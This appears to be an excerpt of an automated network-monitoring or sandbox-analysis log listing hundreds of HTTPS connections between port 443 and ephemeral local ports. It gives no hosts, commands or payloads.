Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
